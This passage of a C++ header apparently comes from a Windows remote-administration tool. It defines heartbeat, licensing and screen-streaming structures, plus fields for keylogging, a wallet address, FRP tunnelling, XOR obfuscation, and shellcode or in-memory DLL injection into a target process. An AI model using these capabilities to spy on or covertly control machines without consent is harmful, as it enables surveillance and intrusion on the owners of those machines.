if (strlen(szReserved) + strlen(v) < sizeof(szReserved))
strcat_s(szReserved, v);
}
void AddReserved(int n)
{
if (strlen(szReserved))
strcat_s(szReserved, "|");
char buf[24] = {};
sprintf_s(buf, "%d", n);
if (strlen(szReserved) + strlen(buf) < sizeof(szReserved))
strcat_s(szReserved, buf);
}
void AddReserved(double f)
{
if (strlen(szReserved))
strcat_s(szReserved, "|");
char buf[24] = {};
sprintf_s(buf, "%.2f", f);
if (strlen(szReserved) + strlen(buf) < sizeof(szReserved))
strcat_s(szReserved, buf);
}
std::vector<std::string> ParseReserved(int n = 1) const
{
return StringToVector(szReserved, '|', n);
}
} LOGIN_INFOR;
inline uint64_t GetUnixMs()
{
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
std::chrono::system_clock::now()
);
return system_ms.time_since_epoch().count();
}
enum AuthStatus {
UNAUTHORIZED = 0, // 未授权
AUTHED_BY_SUPER = 1, // 由超级管理员授权
AUTHED_BY_ADMIN = 2, // 由管理员授权
};
// 固定1024字节
typedef struct Heartbeat {
uint64_t Time;
char ActiveWnd[512];
int Ping;
int HasSoftware;
char SN[20];
char Passcode[44];
uint64_t PwdHmac; // V1 HMAC (8 bytes), 如果为0则检查 PwdHmacV2
char PwdHmacV2[96]; // V2 HMAC 字符串 "v2:BASE64..." (如果 PwdHmac == 0)
char Reserved[328]; // 424 - 96 = 328
Heartbeat()
{
memset(this, 0, sizeof(Heartbeat));
}
Heartbeat(const std::string& s, int ping = 0)
{
memset(this, 0, sizeof(Heartbeat));
Time = GetUnixMs();
strcpy_s(ActiveWnd, s.c_str());
Ping = ping;
}
int Size() const
{
return sizeof(Heartbeat);
}
} Heartbeat;
typedef struct HeartbeatACK {
uint64_t Time;
char Authorized;
char IsTrail;
char Authorization[200];
char Reserved[814];
} HeartbeatACK;
#define HeartbeatACK_OldSize 32
#pragma pack(push, 4)
// 固定500字节
typedef struct MasterSettings {
int ReportInterval; // 上报间隔
int Is64Bit; // 主控是否64位
char MasterVersion[12]; // 主控版本
int DetectSoftware; // 检测软件
int UsingFRPProxy; // 是否使用FRP代理
char WalletAddress[472]; // Wallets
int EnableKBLogger; // Since 2025-11-27
int EnableLog; // Since 2025-12-17
char Signature[64]; // Since 2026-02-05
char FeedbackUrl[80]; // Since 2026-04-08
char HelpUrl[80]; // Since 2026-04-08
char RequestAuthUrl[80]; // Since 2026-04-08
char GetPluginUrl[80]; // Since 2026-04-08
char Reserved[108]; // Since 2025-11-27
} MasterSettings;
#pragma pack(pop)
#define MasterSettingsOldSize 500
// 屏幕能力标志
#define CAP_SCROLL_DETECT 0x0001 // 支持滚动检测优化
// 滚动方向常量
#define SCROLL_DIR_UP 0 // 向上滚动(屏幕内容向下移)
#define SCROLL_DIR_DOWN 1 // 向下滚动(屏幕内容向上移)
// 自适应质量等级
enum QualityLevel {
QUALITY_DISABLED = -2, // 关闭质量控制(使用原有算法设置)
QUALITY_ADAPTIVE = -1, // 自适应模式
QUALITY_ULTRA = 0, // 极佳 (局域网, DIFF)
QUALITY_HIGH = 1, // 优秀 (RGB565)
QUALITY_GOOD = 2, // 良好 (H264, 1080P)
QUALITY_MEDIUM = 3, // 一般 (H264, 900P)
QUALITY_LOW = 4, // 较差 (H264, 720P)
QUALITY_MINIMAL = 5, // 最低 (H264, 540P)
QUALITY_COUNT = 6,
};
/* 质量配置(与 QualityLevel 对应)
- strategy = 01080p 限制
- strategy = 1原始分辨率
- strategy = 2 + maxWidth > 0自定义宽度
- strategy = 2 + maxWidth = 0回退到用户保存的 strategy0 或 1
*/
struct QualityProfile {
int maxFPS; // 最大帧率
int maxWidth; // 最大宽度 (0=不限)
int algorithm; // 压缩算法: 0=GRAY, 1=DIFF, 2=H264, 3=RGB565
int bitRate; // kbps - H264
};
// 控制端使用,客户端优先从配置中读取
inline const QualityProfile& GetQualityProfile(int level) {
// 预定义质量配置: algorithm: 0=GRAY, 1=DIFF, 2=H264, 3=RGB565
// 注意: level 必须在 [0, QUALITY_COUNT) 范围内
static const QualityProfile g_QualityProfiles[QUALITY_COUNT] = {
{25, 0, 1, 0 }, // Ultra: 25FPS, 原始, DIFF (局域网办公)
{20, 0, 3, 0 }, // High: 20FPS, 原始, RGB565 (一般办公)
{20, 1920, 2, 3000}, // Good: 20FPS, 1080P, H264 (跨网/偶尔视频)
{15, 1600, 2, 2000}, // Medium: 15FPS, 900P, H264
{12, 1280, 2, 1200}, // Low: 12FPS, 720P, H264
{8, 1024, 2, 800 }, // Minimal: 8FPS, 540P, H264 (极差网络)
};
if (level < 0 || level >= QUALITY_COUNT) {
static const QualityProfile disabled = {0, 0, -1, 0}; // 关闭模式返回空配置
return disabled;
}
return g_QualityProfiles[level];
}
// 根据RTT获取目标质量等级 (控制端使用)
inline int GetTargetQualityLevel(int rtt, int usingFRP) {
// 根据模式应用不同 RTT阈值 (毫秒)
static const int g_RttThresholds[2][QUALITY_COUNT] = {
// 直连: ULTRA, HIGH, GOOD, MEDIUM, LOW, MINIMAL
/* DIRECT */ { 30, 80, 150, 250, 400, INT_MAX },
// FRP:
/* PROXY */ { 60, 160, 300, 500, 800, INT_MAX },
};
for (int i = 0; i < QUALITY_COUNT; i++) {
if (rtt < g_RttThresholds[usingFRP][i])
return i;
}
return QUALITY_MINIMAL;
}
typedef struct ScreenSettings {
int MaxFPS; // 偏移 0, 最大帧率
int CompressThread; // 偏移 4, 压缩线程数
int ScreenStrategy; // 偏移 8, 屏幕策略
int ScreenWidth; // 偏移 12, 屏幕宽度
int ScreenHeight; // 偏移 16, 屏幕高度
int FullScreen; // 偏移 20, 全屏模式
int RemoteCursor; // 偏移 24, 使用远程光标
int ScrollDetectInterval; // 偏移 28, 滚动检测间隔0=禁用, 1=每帧, 2=每2帧, ...
int QualityLevel; // 偏移 32, 质量等级 (-1=自适应, 0=Ultra, 1=High, ..., 4=Minimal)
int CpuSpeedup; // 偏移 36, 指令集加速(0: 无, 1: SSE2)
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
char Reserved[48]; // 偏移 48, 保留字段(新能力参数从此处扩展)
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
} ScreenSettings; // 总大小 100 字节
// 音频控制常量
#define CYCLEAUDIO_DISABLE 0 // 停止音频
#define CYCLEAUDIO_ENABLE 1 // 启动音频
// 音频控制命令结构 (服务端 → 客户端)
#pragma pack(push, 1)
struct AudioCtrlCmd {
BYTE cmd; // CMD_AUDIO_CTRL
BYTE enable; // 0=关闭, 1=开启
BYTE persist; // 1=保存到客户端配置
};
// 音频压缩类型
enum AudioCompression {
AUDIO_COMPRESS_NONE = 0, // 无压缩 (PCM)
AUDIO_COMPRESS_OPUS = 1, // Opus 压缩
};
// 音频格式信息 (首次启用时随数据发送)
struct AudioFormat {
WORD channels; // 声道数: 1=单声道, 2=立体声
DWORD sampleRate; // 采样率: 44100 或 48000
WORD bitsPerSample; // 位深度: 16
WORD blockAlign; // 块对齐: channels * bitsPerSample / 8
BYTE compression; // 压缩类型: AudioCompression
BYTE reserved; // 保留字节 (对齐)
};
#pragma pack(pop)
#pragma pack(push, 1)
// 100字节: 运行类型 + 大小 + 调用方式 + DLL名称
typedef struct DllExecuteInfo {
int RunType; // 运行类型
int Size; // DLL 大小
int CallType; // 调用方式
char Name[32]; // DLL 名称
char Md5[33]; // DLL MD5
int Pid; // 被注入进程ID
char Is32Bit; // 是否32位DLL
char Reseverd[18];
} DllExecuteInfo;
typedef struct DllExecuteInfoNew {
int RunType; // 运行类型
int Size; // DLL 大小
int CallType; // 调用方式
char Name[32]; // DLL 名称
char Md5[33]; // DLL MD5
int Pid; // 被注入进程ID
char Is32Bit; // 是否32位DLL
char Reseverd[18];
char Parameters[400];
} DllExecuteInfoNew;
inline void SetParameters(DllExecuteInfoNew *p, char *param, int size)
{
memcpy(p->Parameters, param, size < 400 ? size : 400);
}
typedef struct FrpcParam {
char privilegeKey[36];
uint64_t timestamp;
char serverAddr[64];
int serverPort;
int localPort;
int remotePort;
FrpcParam(const char* key, uint64_t time, const char* addr, int serverPort, int localPort, int remotePort)
{
strcpy_s(privilegeKey, key);
strcpy_s(serverAddr, addr);
this->timestamp = time;
this->serverPort = serverPort;
this->localPort = localPort;
this->remotePort = remotePort;
}
} FrpcParam;
#pragma pack(pop)
enum {
SOFTWARE_CAMERA = 0,
SOFTWARE_TELEGRAM,
SHELLCODE = 0,
MEMORYDLL = 1,
CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)
CALLTYPE_FRPC_CALL = 2, // 调用FRPC
CALLTYPE_FRPC_STDCALL = 3, // 调用FRPC标准方式使用开源FRP项目
};
typedef DWORD(__stdcall* PidCallback)(void);
inline const char* EVENTID(PidCallback pid)
{
static char buf[64] = { 0 };
if (buf[0] == 0) {
sprintf_s(buf, "SERVICE [%d] FINISH RUNNING", pid());
}
return buf;
}
#define EVENT_FINISHED EVENTID(GetCurrentProcessId)
inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys)
{
for (char key : keys) {
for (int i = 0; i < len; ++i) {
data[i] ^= key;
}
}
}
inline std::tm ToPekingTime(const time_t* t)
{
// 获取当前时间(如果传入的指针为空)
std::time_t now = (t == nullptr) ? std::time(nullptr) : *t;
// 线程安全地转换为 UTC 时间
std::tm utc_time{};
#ifdef _WIN32 // Windows 使用 gmtime_s
if (gmtime_s(&utc_time, &now) != 0) {
return { 0, 0, 0, 1, 0, 100 }; // 失败时返回 2000-01-01 00:00:00
}
#else // Linux / macOS 使用 gmtime_r
if (gmtime_r(&now, &utc_time) == nullptr) {
return { 0, 0, 0, 1, 0, 100 };
}
#endif
// 转换为北京时间UTC+8
utc_time.tm_hour += 8;
// 规范化时间(处理溢出,如跨天)
std::mktime(&utc_time);
return utc_time;
}
inline std::string ToPekingTimeAsString(const time_t* t)
{
auto pekingTime = ToPekingTime(t);
char buffer[20];
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &pekingTime);
return buffer;
}
inline std::string ToPekingDateTime(const time_t* t)
{
auto pekingTime = ToPekingTime(t);
char buffer[20];
std::strftime(buffer, sizeof(buffer), "%Y%m%d%H%M%S", &pekingTime);
return buffer;
}
typedef struct Validation {
char From[20]; // 开始日期
char To[20]; // 结束日期
char Admin[100]; // 管理员地址(当前主控的公网地址)
unsigned short Port; // 管理员端口(默认当前端口)
unsigned short MaxDepth;// 最大生成深度0=不可生成下级主控)
char Checksum[16]; // HMAC校验字段
Validation(float days, const char* admin, int port, const char* id="", unsigned short maxDepth=0)
{
time_t from = time(NULL), to = from + time_t(86400 * days);
memset(this, 0, sizeof(Validation));
std::string fromStr = ToPekingTimeAsString(&from);
std::string toStr = ToPekingTimeAsString(&to);
strcpy_s(From, fromStr.c_str());
strcpy_s(To, toStr.c_str());
strcpy_s(Admin, admin);
Port = (unsigned short)port;
MaxDepth = maxDepth;
if(strlen(id))memcpy(Checksum, id, 16);
}
bool IsValid() const
{
std::string now = ToPekingTimeAsString(NULL);
return From <= now && now <= To;
}
bool CanGenerate() const { return MaxDepth > 0; }
} Validation;
#ifdef _DEBUG
// 为了解决远程桌面屏幕花屏问题而定义的宏,仅调试时使用,正式版本没有
#define SCREENYSPY_IMPROVE 0
#define SCREENSPY_WRITE 0
#endif
#ifdef _WIN32
#ifdef _WINDOWS
#include <afxwin.h>
#else
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#endif
// 将内存中的位图写入文件
inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1)
{
char path[_MAX_PATH];
if (filePrefix.size() >= 4 && filePrefix.substr(filePrefix.size() - 4) == ".bmp") {
strcpy_s(path, filePrefix.c_str());
} else {
sprintf_s(path, ".\\bmp\\%s_%d.bmp", filePrefix.c_str(), index == -1 ? clock() : index);
}
FILE* File = fopen(path, "wb");
if (File) {
BITMAPFILEHEADER fileHeader = { 0 };
fileHeader.bfType = 0x4D42; // "BM"
fileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bmpInfo->bmiHeader.biSizeImage;
fileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
fwrite(&fileHeader, 1, sizeof(BITMAPFILEHEADER), File);
fwrite(&bmpInfo->bmiHeader, 1, sizeof(BITMAPINFOHEADER), File);
fwrite(bmpData, 1, bmpInfo->bmiHeader.biSizeImage, File);
fclose(File);
return true;
}
return false;
}
class MSG32 // 自定义控制消息(32位)
{
public:
uint32_t hwnd;
uint32_t message;
uint32_t wParam;
uint32_t lParam;
uint32_t time;
POINT pt;
MSG32(const void* buffer, int size)
{
if (size == sizeof(MSG32)) {
memcpy(this, buffer, sizeof(MSG32));
} else {
memset(this, 0, sizeof(MSG32));
}
}
MSG32()
{
memset(this, 0, sizeof(MSG32));
}
MSG32* Create(const void* buffer, int size)
{
if (size == sizeof(MSG32)) {
memcpy(this, buffer, sizeof(MSG32));
} else {
memset(this, 0, sizeof(MSG32));
}
return this;
}
};
// Windows 自定义的消息MSG在32位和64位系统下大小不同导致跨平台架构远程控制异常
// 需要使用自定义的消息(统一采用64位windows 的MSG定义)
class MSG64 // 自定义控制消息(64位)
{
public:
uint64_t hwnd;
uint64_t message;
uint64_t wParam;
uint64_t lParam;
uint64_t time;
POINT pt;
#ifdef _WIN32
MSG64(const MSG& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam),
lParam(msg.lParam), time(msg.time), pt(msg.pt) {}
MSG64(const MSG32& msg) :hwnd((uint64_t)msg.hwnd), message(msg.message), wParam(msg.wParam),
lParam(msg.lParam), time(msg.time), pt(msg.pt) {}
MSG64* Create(const MSG32* msg32)
{
hwnd = msg32->hwnd;
message = msg32->message;
wParam = msg32->wParam;
lParam = msg32->lParam;
time = msg32->time;
pt = msg32->pt;
return this;
}
#endif
MSG64(const void* buffer, int size)
{
if (size == sizeof(MSG64)) {
memcpy(this, buffer, sizeof(MSG64));
} else {
memset(this, 0, sizeof(MSG64));
}
}
MSG64()
{
memset(this, 0, sizeof(MSG64));
}
};
#ifdef _WIN64
#define MYMSG MSG
#else
#define MYMSG MSG64
#endif
typedef struct CharMsg {
char data[256];
bool needFree;
CharMsg(const char* msg, bool free = true)
{
memset(data, 0, sizeof(data));
strcpy_s(data, msg);
needFree = free;
}
CharMsg(int len, bool free = true)
{
memset(data, 0, sizeof(data));
needFree = free;
}
} CharMsg;
typedef struct ClientMsg {
unsigned char cmd;
char title[31];
char text[512];
ClientMsg()
{
memset(this, 0, sizeof(*this));
}
ClientMsg(const char* title, const char* text)
{
cmd = TOKEN_CLIENT_MSG;
strcpy_s(this->title, title ? title : "提示信息");
strcpy_s(this->text, text ? text : "");
}
} ClientMsg;
#endif